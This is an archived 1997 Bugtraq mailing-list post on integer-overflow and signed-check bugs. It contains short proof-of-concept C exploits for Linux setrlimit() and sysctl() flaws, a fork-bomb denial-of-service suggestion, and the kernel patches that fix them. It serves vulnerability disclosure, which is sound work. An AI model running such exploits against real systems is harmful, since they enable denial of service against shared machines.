Bugtraq mailing list archives
Integer Overflows
From: solar () FALSE COM (Solar Designer)
Date: Thu, 28 Aug 1997 00:33:08 -0300
Hello!
+ if (port > 65535) + packet_disconnect("Requested port is %d is invalid",port);This still doesn't fix the problem since port is defined as a signed int, and negative values will pass your check. Of course, their lower 16 bits may represent a privileged port number.
The lines directly after this in the code are if (port < 1024 && !is_root) packet_disconnect("Requested forwarding of port %d but user is not root.", It looks like that should catch negative (as well as privileged) port numbers, so I don't think the patch really has to fix that problem at all.
You're right -- I should have looked at the code once again before sending the message. ;) However, if we add an extra error message for invalid ports, it's quite natural to check for both large positive and negative ports there. So I think the signed check problem was worth mentioning anyway. Actually, the main reason I posted that message was to show that integer overflows and signed checks are quite common, and often cause security holes. I think there're quite a lot of them in any UNIX kernel where many syscalls accept integer parameters (BTW, for shared libraries it's not a problem since they run at the same privilege level as the user program). Even Pentium RDMSR instruction comes to mind (which allows access to extra registers due to a signed check in the microcode; fortunately, this has nothing to do with UNIX security). Also, I'm asked about those Linux holes I mentioned. The setrlimit() hole got fixed in 2.0.30 (but not in 2.1.x yet; fork() is not vulnerable though, while some other syscalls relying on rlimits are vulnerable). Here're some parts of the message I posted to linux-kernel list 3 months ago (the exploit works on kernels up to 2.0.29; needs to be changed to work on 2.1.x): --- old setrlimit message --- #include <stdio.h> #include <sys/resource.h> #include <unistd.h> main() { struct rlimit rl; rl.rlim_max = rl.rlim_cur = 0x80000000; if (setrlimit(RLIMIT_NPROC, &rl)) perror("setrlimit"); execl("/bin/sh", "sh", NULL); } The code above removes the limit on number of processes when running as a non-root user. Then a simple 'while (1) fork();' running as that user would cause a denial of service regardless of a limit being previously set. The reason setrlimit() call succeeds is that users are allowed to decrease their resource limits, but the comparison is signed, so negative values are always allowed to set. However, some other syscalls don't handle negative values properly. For example, find_empty_process() in kernel/fork.c first decreases the value twice, allowing two magic values (0x80000000 and 0x80000001) to effectively become huge positive ones. Some other syscalls use the limits as unsigned. +++ kernel/sys.c Wed Mar 26 16:54:01 1997 @@ -854,6 +854,8 @@ if (err) return err; memcpy_fromfs(&new_rlim, rlim, sizeof(*rlim)); + if (new_rlim.rlim_cur < 0 || new_rlim.rlim_max < 0) + return -EINVAL; old_rlim = current->rlim + resource; if (((new_rlim.rlim_cur > old_rlim->rlim_max) || (new_rlim.rlim_max > old_rlim->rlim_max)) && --- old setrlimit message ends here --- Now, to the sysctl() problem. This one is just a possibility to generate a fault in the kernel, which gets logged, and allows fast syslog (and /var) flooding. Not too serious. However, it shows how an integer multiply overflow can cause a security hole. Should get fixed in 2.0.31. #include <sys/sysctl.h> main() { sysctl(NULL, 0x80000000, NULL, NULL, NULL, 0); /* 0x80000000 can be replaced with 0xC0000000 -- both are negative, and * produce a zero when multiplied by sizeof(int) */ } There would also be a similar problem in getgroups() if gid_t was larger than 2 bytes long, this should be fixed if gid_t is changed some day. --- /extra/linux-2.0.30/kernel/sysctl.c Sat Apr 19 20:43:22 1997 +++ linux/kernel/sysctl.c Mon Jun 2 23:05:52 1997 @@ -180,7 +180,7 @@ struct ctl_table_header *tmp; void *context; - if (nlen == 0 || nlen >= CTL_MAXNAME) + if (nlen <= 0 || nlen >= CTL_MAXNAME) return -ENOTDIR; error = verify_area(VERIFY_READ,name,nlen*sizeof(int)); Signed, Solar Designer
Current thread:
- More ssh fun (sshd this time) Ivo van der Wijk (Aug 19)
- Re: More ssh fun (sshd this time) Olaf Titz (Aug 23)
- Sun Security Bulletin #00152 Aleph One (Aug 25)
- Sun Security Bulletin #00153 Aleph One (Aug 25)
- Active X exploit. Peter Shipley (Aug 25)
- Re: More ssh fun (sshd this time) Wietse Venema (Aug 25)
- <Possible follow-ups>
- Re: More ssh fun (sshd this time) Thamer Al-Herbish (Aug 23)
- Re: More ssh fun (sshd this time) Solar Designer (Aug 27)
- Re: More ssh fun (sshd this time) Paul H. Hargrove (Aug 27)
- Re: More ssh fun (sshd this time) Christopher Craig (Aug 27)
- Integer Overflows Solar Designer (Aug 27)